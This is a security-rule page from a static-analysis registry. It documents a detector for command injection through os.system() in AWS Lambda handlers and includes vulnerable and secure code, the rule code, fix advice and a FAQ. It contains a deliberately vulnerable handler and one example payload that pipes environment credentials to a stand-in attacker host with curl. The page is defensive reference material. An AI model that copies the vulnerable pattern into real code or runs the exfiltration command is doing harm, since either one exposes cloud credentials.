# PYTHON-LAMBDA-SEC-001: Lambda Command Injection via os.system()

> **Severity:** CRITICAL | **CWE:** CWE-78 | **OWASP:** A03:2021

- **Language:** Python
- **Category:** AWS Lambda
- **URL:** https://codepathfinder.dev/registry/python/aws_lambda/PYTHON-LAMBDA-SEC-001
- **Detection:** `pathfinder scan --ruleset python/PYTHON-LAMBDA-SEC-001 --project .`

## Description

This rule detects OS command injection vulnerabilities in AWS Lambda functions where
untrusted event data flows into os.system() calls.

Lambda functions receive input from the event dictionary, which is populated by
triggers such as API Gateway, SQS, SNS, S3 event notifications, DynamoDB Streams,
and EventBridge. Unlike web frameworks, Lambda has no built-in sanitization layer
between the event payload and application code. Fields like event.get("body"),
event.get("queryStringParameters"), event["pathParameters"], and event["Records"]
are fully attacker-controllable when the trigger is a public API Gateway endpoint.

os.system() always passes its argument to the system shell (/bin/sh on Lambda's
Amazon Linux 2 runtime). When event data is embedded in the command string, an
attacker can inject shell metacharacters (semicolons, pipes, backticks, $()
substitution) to run arbitrary commands. Lambda's short-lived execution model does
not limit the impact: injected commands can exfiltrate environment variables
(including AWS credentials from AWS_ACCESS_KEY_ID and AWS_SESSION_TOKEN), read
/tmp contents, make outbound network calls to attacker infrastructure, and enumerate
the execution environment for further attacks against the associated IAM role.


## Vulnerable Code

```python
import os
import subprocess
import asyncio

# SEC-001: os.system with event data
def handler_os_system(event, context):
    filename = event.get('filename')
    os.system(f"cat {filename}")
    return {"statusCode": 200}
```

## Secure Code

```python
import subprocess
import re
import json

ALLOWED_COMMANDS = {'ping', 'nslookup', 'dig'}

def lambda_handler(event, context):
    body = json.loads(event.get('body', '{}'))
    host = body.get('host', '')
    command = body.get('command', '')

    # SECURE: Validate command against allowlist
    if command not in ALLOWED_COMMANDS:
        return {'statusCode': 400, 'body': 'Unknown command'}

    # SECURE: Validate host format with strict regex
    if not re.match(r'^[a-zA-Z0-9.\-]+$', host):
        return {'statusCode': 400, 'body': 'Invalid host format'}

    # SECURE: Use subprocess with list arguments — no shell interpretation
    result = subprocess.run(
        [command, host],
        capture_output=True,
        text=True,
        timeout=10
    )
    return {'statusCode': 200, 'body': result.stdout}

```

## Detection Rule (Python SDK)

```python
from rules.python_decorators import python_rule
from codepathfinder import calls, flows, QueryType
from codepathfinder.presets import PropagationPresets

class OSModule(QueryType):
    fqns = ["os"]

# Lambda event sources — event dict is the primary untrusted input
_LAMBDA_SOURCES = [
    calls("event.get"),
    calls("event.items"),
    calls("event.values"),
    calls("event.keys"),
    calls("*.get"),
]


@python_rule(
    id="PYTHON-LAMBDA-SEC-001",
    name="Lambda Command Injection via os.system()",
    severity="CRITICAL",
    category="aws_lambda",
    cwe="CWE-78",
    tags="python,aws,lambda,command-injection,os-system,OWASP-A03,CWE-78",
    message="Lambda event data flows to os.system(). Use subprocess with list args instead.",
    owasp="A03:2021",
)
def detect_lambda_os_system():
    """Detects Lambda event data flowing to os.system()/os.popen()."""
    return flows(
        from_sources=_LAMBDA_SOURCES,
        to_sinks=[
            OSModule.method("system", "popen", "popen2", "popen3", "popen4"),
        ],
        sanitized_by=[
            calls("shlex.quote"),
            calls("shlex.split"),
        ],
        propagates_through=PropagationPresets.standard(),
        scope="global",
    )
```

## How to Fix

- Replace all os.system() calls with subprocess.run() using a list of arguments and shell=False (the default), which prevents shell interpretation of metacharacters.
- Never use shell=True with any argument that originates from the Lambda event dictionary, query parameters, or any external input.
- Validate event fields with strict allowlists or regular expressions before they are used in any system call.
- Apply least-privilege IAM policies to the Lambda execution role so that credential exfiltration from command injection has minimal blast radius.
- Enable AWS CloudTrail and Lambda function URL access logs to detect unusual outbound patterns that may indicate active exploitation.

## Security Implications

- **AWS Credential Exfiltration:** Every Lambda execution environment contains temporary AWS credentials in the
environment variables AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, and
AWS_SESSION_TOKEN. An injected command like "; curl attacker.com/$(env | base64)"
can exfiltrate these credentials, giving an attacker the full permissions of the
Lambda's IAM execution role, which may include access to S3 buckets, DynamoDB
tables, Secrets Manager, RDS, and other AWS services.

- **VPC Resource Pivoting:** Lambda functions deployed inside a VPC have network access to internal resources
such as RDS databases, ElastiCache clusters, and internal microservices. Command
injection can be used to pivot from the public-facing Lambda to these protected
internal resources that are otherwise unreachable from the internet.

- **/tmp Data Exfiltration:** Lambda's /tmp directory (up to 512 MB) may contain cached data, temporary files,
extracted archives, or decrypted secrets placed there by previous invocations.
Injected commands can read and exfiltrate all of this data before the execution
environment is reused or recycled.

- **Reverse Shell in Execution Environment:** Attackers can use command injection to establish a reverse shell from within the
Lambda execution environment, providing interactive access for the duration of
the warm execution environment's lifetime and enabling manual exploration of
the environment, installed libraries, and network access patterns.


## FAQ

**Q: Why is Lambda command injection uniquely dangerous compared to traditional servers?**

Every Lambda execution environment automatically receives temporary AWS credentials
via the execution role. These credentials are available as environment variables
(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) without any
additional authentication step. A single os.system() injection can exfiltrate these
credentials and give an attacker the full permissions of the Lambda's IAM role,
which may span multiple AWS services and accounts. Traditional servers do not
automatically carry cloud provider credentials in this way.


**Q: Does Lambda's short-lived execution model limit the impact of command injection?**

No. The attack completes within the single Lambda invocation that triggered it.
Exfiltrating credentials, reading /tmp, making outbound HTTP calls, or establishing
a reverse shell all complete within the invocation's timeout window (up to 15
minutes). The short-lived model does not prevent the attack; it only means the
attacker must act within the invocation duration, which is ample time.


**Q: Can shlex.quote() make os.system() safe with Lambda event data?**

shlex.quote() makes a single argument safe for inclusion in a shell string by
wrapping it in single quotes with internal single quotes escaped. However, it must
be applied correctly to each individual argument, and os.system() should still be
replaced with subprocess.run() using a list. If any argument escapes shlex.quote()
application (e.g., via conditional logic), injection remains possible. The safe
pattern is subprocess with a list and no shell=True.


**Q: What if my Lambda must execute system commands for file processing?**

Use subprocess.run() with a pre-built list where executable names come from a
hardcoded allowlist and file arguments are validated with strict regex patterns
before use. For common file operations (image resizing, document conversion),
consider using native Python libraries (Pillow, PyPDF2) via Lambda Layers instead
of shelling out to system binaries, which eliminates the attack surface entirely.


**Q: How do I detect if my Lambda has been exploited via command injection?**

Enable AWS CloudTrail to detect unusual API calls made with the Lambda's execution
role credentials. Configure VPC Flow Logs to detect unexpected outbound connections.
Review Lambda function logs in CloudWatch for unexpected output or error patterns.
Consider enabling AWS GuardDuty, which can detect credential exfiltration and
unusual API patterns associated with compromised Lambda execution roles.


## References

- [CWE-78: OS Command Injection](https://cwe.mitre.org/data/definitions/78.html)
- [OWASP OS Command Injection Defense Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html)
- [OWASP Command Injection](https://owasp.org/www-community/attacks/Command_Injection)
- [AWS Lambda Security Best Practices](https://docs.aws.amazon.com/lambda/latest/dg/best-practices.html)
- [Python subprocess documentation - Security Considerations](https://docs.python.org/3/library/subprocess.html#security-considerations)
- [AWS Lambda Execution Environment](https://docs.aws.amazon.com/lambda/latest/dg/lambda-runtime-environment.html)

---

Source: https://codepathfinder.dev/registry/python/aws_lambda/PYTHON-LAMBDA-SEC-001
Code Pathfinder — Open source, type-aware SAST with cross-file dataflow analysis
